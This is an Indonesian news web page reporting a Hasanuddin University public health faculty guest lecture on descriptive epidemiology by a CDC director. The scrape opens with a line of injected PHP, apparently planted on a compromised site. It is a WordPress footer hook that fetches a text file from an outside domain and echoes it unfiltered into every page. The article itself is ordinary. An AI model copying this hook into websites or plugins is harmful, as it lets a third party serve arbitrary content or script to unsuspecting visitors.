function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Kuliah Tamu FKM Unhas Menghadirkan Direktur CDC Kantor Kualitas Sains dan Layanan Perpustakaan Membahas “Descriptive Epidemiology” - Suluh Nusantara

Home / Uncategorized

Kamis, 26 September 2024 - 21:22 WIB

Kuliah Tamu FKM Unhas Menghadirkan Direktur CDC Kantor Kualitas Sains dan Layanan Perpustakaan Membahas “Descriptive Epidemiology”

Doc. Peserta Kuliah Tamu FKM Unhas (Istimewa)

Doc. Peserta Kuliah Tamu FKM Unhas (Istimewa)

Fakultas Kesehatan Masyarakat Universitas Hasanuddin (FKM Unhas) kembali menggelar kuliah tamu yang menghadirkan pakar di bidang epidemiologi dan kesehatan masyarakat yakni Dr. Bao-Ping Zhu, MD, PhD, MS. Beliau merupakan seorang Direktur CDC untuk Kualitas Sains dan Layanan Perpustakaan. Selain kepemimpinannya dalam unit tersebut, ia memiliki latar belakang yang kuat di bidang epidemiologi dan kesehatan masyarakat, terutama terkait dengan pengendalian penyakit menular serta program imunisasi. Posisi ini menempatkannya dalam peran penting dalam mengawasi standar ilmiah serta pengelolaan informasi dan sumber daya di CDC. Agenda ini dilaksanakan hari Kamis, 26 September 2024 melalui zoom meeting dan juga secara luring di ruang Prof. Dr. Nur Nasry Noor (Ruang K-225 lantai 2 FKM Unhas). Kuliah tamu berlangsung mulai pukul 09.45 – 12.00  WITA.

Doc. Pakar Bidang Epidemiologi Dr. Bao-Ping Zhu, MD, PhD, MS (Istimewa)

Prof. Anwar Mallongi, SKM., MSc., Ph.D sebagai Wakil Dekan Bidang Kemitraan, Riset dan Inovasi memberikan welcoming speech. Dalam sambutannya, beliau menekankan agar seluruh partisipan fokus mengikuti kuliah tamu. Karena topik deskriptif epidemiologi yang dibawakan oleh narasumber sangat penting dalam memahami pola distribusi penyakit di masyarakat. Prof. Anwar Mallongi juga menegaskan bahwa pemahaman yang baik tentang deskriptif epidemiologi akan membantu dalam identifikasi faktor risiko dan pengambilan keputusan berbasis data dalam upaya pencegahan serta pengendalian penyakit. Oleh karena itu, beliau mengajak para partisipan untuk memanfaatkan kesempatan ini dengan sebaik-baiknya guna memperdalam pengetahuan mereka di bidang tersebut.

Baca Juga  Langkah Kecil, Dampak Besar: Sinergi Mahasiswa dan Puskesmas Takalala Mewujudkan Akses Kesehatan yang Lebih Dekat dan Merata bagi Warga Desa Congko

Kegiatan ini dimoderatori oleh Ansariadi, SKM., M.Sc.PH., Ph.D., yang merupakan salah satu dosen di Departemen Epidemiologi FKM Unhas. Beliau yang memandu jalannya diskusi dengan baik dan memastikan interaksi yang dinamis antara narasumber dan partisipan. Kuliah tamu dihadiri secara luring oleh 50 peserta yang terdiri dari beberapa mahasiswa dan juga dosen. Sementara itu, partisipan melalui zoom meeting mencapai  290 partisipan. Dr. Bao Ping Zhu banyak menjelaskan terkait dengan epidemiologi deskriptif yang merupakan cabang dari epidemiologi yang berfokus pada penggambaran dan analisis pola, distribusi, dan faktor-faktor yang mempengaruhi kesehatan atau penyakit dalam populasi.

Epidemiologi deskriptif bertujuan untuk memahami bagaimana, di mana, dan mengapa penyakit atau kondisi kesehatan terjadi. Ini mencakup pengumpulan data tentang kejadian dan distribusi penyakit dalam populasi tertentu. Beliau memaparkan bahwa “there are three main components of descriptive epidemiology :

  • Time : Analyzing data based on time (e.g., daily, monthly, yearly) to understand trends and fluctuations.
  • Place : Mapping the locations of disease occurrences to identify high-risk areas
  • Person : Analyzing population characteristics such as age, gender, race, socioeconomic status, and other factors”

Dengan pemahaman mendalam terkait dengan epidemiologi deskriptif, kita dapat menilai faktor risiko yang terkait dengan kejadian penyakit, yang pada gilirannya membantu dalam perencanaan dan pengelolaan program kesehatan masyarakat yang efektif. Selain itu, data dari epidemiologi deskriptif menyediakan dasar untuk penelitian analitik yang lebih mendalam mengenai penyebab dan mekanisme penyakit, serta mendukung pembuat kebijakan dalam merumuskan kebijakan kesehatan yang berbasis bukti. Pemahaman ini juga penting dalam memfasilitasi respons cepat terhadap wabah dengan mengidentifikasi area dan populasi yang paling terpengaruh.

Baca Juga  Eduakasi Kreatif Melalui Media Pop Up: Pencegahan Stunting untuk Ibu Hamil, Baduta, Wanita Usia Subur dan Remaja Putri

Kegiatan kuliah tamu mengenai epidemiologi deskriptif sangat relevan dengan beberapa Tujuan Pembangunan Berkelanjutan (SDGs), terutama yang berkaitan dengan kesehatan dan kesejahteraan. Kuliah ini dapat meningkatkan pemahaman partisipan tentang pentingnya data epidemiologis dalam mengidentifikasi dan mengatasi masalah kesehatan masyarakat, yang sejalan dengan SDG 3, yaitu “Kesehatan dan  Kesejahteraan.”

Dengan memahami epidemiologi deskriptif, dapat lebih efektif dalam merencanakan intervensi kesehatan yang bertujuan mengurangi angka kematian dan meningkatkan kesehatan populasi. Selain itu, kegiatan ini juga dapat mendukung SDG 17 tentang “Kemitraan untuk Mencapai Tujuan,” dengan mendorong kolaborasi antara akademisi, praktisi kesehatan, dan pembuat kebijakan untuk mengimplementasikan kebijakan berbasis data. Melalui kuliah tamu ini, peserta diharapkan dapat menyadari pentingnya pengumpulan dan analisis data kesehatan untuk merancang strategi yang lebih efektif dalam mencapai kesehatan yang lebih baik bagi semua, sejalan dengan visi SDGs.

Kuliah tamu ditutup dengan sesi dokumentasi, seluruh partisipan baik yang daring maupun luring mengabadikan momen berharga tersebut melalui foto bersama dan berbagi pengalaman yang didapat selama agenda berlangsung.

Share :

Baca Juga

Uncategorized

Cegah Stunting, Posko 14 PBL 2 FKM Unhas Gelar Edukasi Pengetahuan Stunting Kepada Ibu Baduta di Desa Tombo-tombolo

Uncategorized

Acara Puncak Dies Natalis ke-43 FKM Unhas: Satu Keluarga, Satu Tujuan : FKM Unhas Maju

Uncategorized

Mahasiswa FKM Unhas Siap Mengabdi di Desa Labokong Lewat PBL I

Uncategorized

Remaja Putri Sadar Anemia, Masa Depan Sehat Tanpa Stunting: Program CERAMA Bereaksi Warnai SMAN 8 Turatea

Uncategorized

Dosen Departemen Ilmu Gizi FKM Unhas Hadiri 2nd Southeast Asia Public Health Nutrition Conference (SEA PHN) di Thailand dan Jajaki Kerja Sama dengan Chulalongkorn University

Uncategorized

Mahasiswa KKN-PK Angkatan 67 Universitas Hasanuddin Wujudkan Lingkungan Sehat melalui Edukasi Pengelolaan Sampah di SD Negeri 31 Morowa

Uncategorized

FKM Unhas Lepas Mahasiswa PBL II: Fokus Intervensi Stunting di Jeneponto

Uncategorized

Cegah Penyakit Melalui Kebiasaan Baik: FKM Unhas Berdayakan Siswa UPT SPF SDN Lakkang